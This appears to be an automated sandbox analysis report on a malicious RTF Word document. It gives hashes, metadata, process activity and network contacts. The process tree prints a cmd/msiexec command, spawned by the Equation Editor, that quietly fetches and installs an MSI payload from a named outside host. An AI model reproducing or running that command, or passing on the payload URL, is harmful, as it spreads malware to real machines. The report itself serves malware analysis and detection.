File name: | 94d56bbc2a03227c70b2f230046953df.doc |
Full analysis: | https://app.any.run/tasks/63838b71-3fba-4f33-a315-7254bd39821c |
Verdict: | Malicious activity |
Analysis date: | January 11, 2019, 08:30:52 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | text/rtf |
File info: | Rich Text Format data, version 1, unknown character set |
MD5: | 94D56BBC2A03227C70B2F230046953DF |
SHA1: | 097CC91EC878C152B1BAE3B660543F5BB92E09D0 |
SHA256: | 434482B3F4F8886907224853143BD415D75B311B5D504F6917C2FF48E072EBFD |
SSDEEP: | 12288:bWNi7/pWPeduxyW1Wc6Xj77KTK9qc5i4MUqYP9:bUi7xWdnQj1J5rqk9 |
.rtf | | | Rich Text Format (100) |
---|
InternalVersionNumber: | 57433 |
---|---|
CharactersWithSpaces: | 1263 |
Characters: | 1077 |
Words: | 188 |
Pages: | 1 |
TotalEditTime: | 47 minutes |
RevisionNumber: | 28 |
ModifyDate: | 2018:12:31 11:10:00 |
CreateDate: | 2018:01:23 22:18:00 |
LastModifiedBy: | BINGHERO |
Author: | obidah qudah |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2876 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\94d56bbc2a03227c70b2f230046953df.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 Modules
| |||||||||||||||
3488 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | ||||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
1244 | cmd.exe & /C CD C: & msiexec.exe /i https://thementalhealthfoundation.meltdesigndev.co.uk/wp-content/themes/melt_default/includes/_notes/proforma.msi /quiet | C:\Windows\system32\cmd.exe | — | EQNEDT32.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1619 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
2648 | msiexec.exe /i https://thementalhealthfoundation.meltdesigndev.co.uk/wp-content/themes/melt_default/includes/_notes/proforma.msi /quiet | C:\Windows\system32\msiexec.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 1619 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
2240 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
2652 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | — | svchost.exe | |||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
|
PID | Process | Filename | Type | |
---|---|---|---|---|
2876 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRD95C.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2876 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$d56bbc2a03227c70b2f230046953df.doc | pgc | |
MD5:F792E3E77BE1735833331D0850FC3A61 | SHA256:3C3D9D59493B92B979D06ADF235D9C5BE24B60611495A575939A27705064E0B8 | |||
2876 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:5668E0BECA7260FE57640A54FBAEC98C | SHA256:F31166347156B1F55AC9D8543E3751068AAE8BB7A649F271617CCF59E1E3BEBA |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2240 | msiexec.exe | 31.170.123.172:443 | thementalhealthfoundation.meltdesigndev.co.uk | UK Webhosting Ltd | GB | suspicious |
Domain | IP | Reputation |
---|---|---|
thementalhealthfoundation.meltdesigndev.co.uk |
| suspicious |